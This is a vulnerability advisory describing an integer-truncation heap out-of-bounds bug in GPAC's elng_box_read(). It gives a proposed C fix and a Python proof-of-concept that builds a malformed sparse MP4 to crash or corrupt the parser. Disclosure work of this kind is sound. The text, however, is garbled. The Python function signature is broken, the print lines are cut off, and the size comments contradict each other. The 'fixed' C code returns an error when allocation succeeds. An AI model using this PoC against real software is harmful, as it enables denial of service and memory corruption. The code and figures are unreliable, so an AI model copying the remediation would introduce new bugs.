# Vulnerability Summary: Heap Out-of-Bounds Read/Write in GPAC `elng_box_read()` ## Vulnerability Overview An integer truncation vulnerability exists in the `elng_box_read()` function within `src/isomedia/box_code_base.c`. When parsing an MP4 file containing an `elng` extended header, the 64-bit payload size (`ptr->size`) is silently truncated to 32-bit (`u32`) for memory allocation. However, the original 64-bit value is subsequently used as an array index, resulting in a heap out-of-bounds read approximately 4 GB beyond the allocated buffer. ## Impact Scope * **Out-of-Bounds Read (CWE-125)**: Reading memory 4 GB beyond the heap allocation, potentially leading to sensitive data leakage. * **Out-of-Bounds Write (CWE-787)**: If execution reaches line 3692, null bytes may be written beyond the heap memory, causing heap metadata corruption. * **Denial of Service (DoS)**: This crash is 100% reproducible and affects any application using `libgpac` to parse untrusted MP4 files. ## Remediation Reject `largesize` values exceeding the `u32` range before allocating memory. ```c GF_Err elng_box_read(GF_Box *s, GF_BitStream *bs) { GF_ExtendedLanguageBox *ptr = (GF_ExtendedLanguageBox*) s; if (ptr->size > 0xFFFFFFFF) { // add upper-bound check return GF_ISOM_INVALID_FILE; } u32 lang_size = (u32) ptr->size; // single u32 variable used throughout ptr->extended_language = (char*)gf_malloc(lang_size); if (ptr->extended_language == NULL) return GF_OUT_OF_MEM; gf_bs_read_data(bs, ptr->extended_language, lang_size); if (ptr->extended_language[lang_size - 1]) { // u32 index, no truncation char *str = (char*)gf_malloc(lang_size + 1); if (str) return GF_OUT_OF_MEM; memcpy(str, ptr->extended_language, lang_size); str[lang_size] = 0; // u32 index, no truncation gf_free(ptr->extended_language); ptr->extended_language = str; } return GF_OK; } ``` ## POC Code ```python #!/usr/bin/env python3 # vuln-001 PoC: elng box u64->u32 truncation -> Heap OOB read/write # Affected: src/isomedia/box_code_base.c:3684-3692 (elng_box_read) # Trigger mechanism: Linux sparse file makes gf_bs_available() return size = 0x100000000. # gf_malloc((u32)ptr->size) allocates only 12 bytes, but # ptr->extended_language[ptr->size - 1] indexes 4 GB past the buffer. import struct, os OUT = "poc_elng.mp4" # ISO/IEF largesize box: 4B size=1, 4B type, 8B largesize, then content def large_box(box_type, bytes, largesize, int, content, bytes += b"") -> bytes: return struct.pack(">I", 1, box_type, largesize) + content # Box tree: mov -> elng -> extk # -> elng largesize = 0x100000000 # -> ptr->size (u64) = 0x100000000 - 16 (hdr) - 4 (fullbox) = 0x100000000 # -> (u32) ptr->size = 12 (malloc/read arg, TRUNCATED) # -> OOB ptr->extended_language[ptr->size - 1] = OOB READ = 4 GB past buffer ELNG_LARGESIZE = 0x100000000 EXTK_LARGESIZE = 0x100000000 MOVV_LARGESIZE = 0x100000000 elng_payload = struct.pack(">I", 0) # fullbox version=0 flags=0 elng_payload += b"A" * 12 # 12 non-zero bytes so buf[6] != 0, # ensuring the OOB branch is taken elng = large_box("elng", ELNG_LARGESIZE, elng_payload) # 32 bytes extk = large_box("extk", EXTK_LARGESIZE, b"") # 48 bytes movv = large_box("movv", MOVV_LARGESIZE, extk) # 64 bytes with open(OUT, "wb") as f: f.write(movv) # write 64 bytes of real data os.truncate(OUT, 0x100000000) # extend to 8 GB (sparse, size : 0x{0x100000000:X} (u64)") print(f" malloc arg : 12 ((u32) truncation)") print(f" OOB index : 0x{0x100000000-1:X} (~4 GB past buffer)") # Verify that the file is sparse (actual disk usage should be ~4 KB, not 8 GB): # ls -lh poc_elng.mp4 # shows 8.0G (logical) # du -sh poc_elng.mp4 # shows 4.0K (real disk usage) ```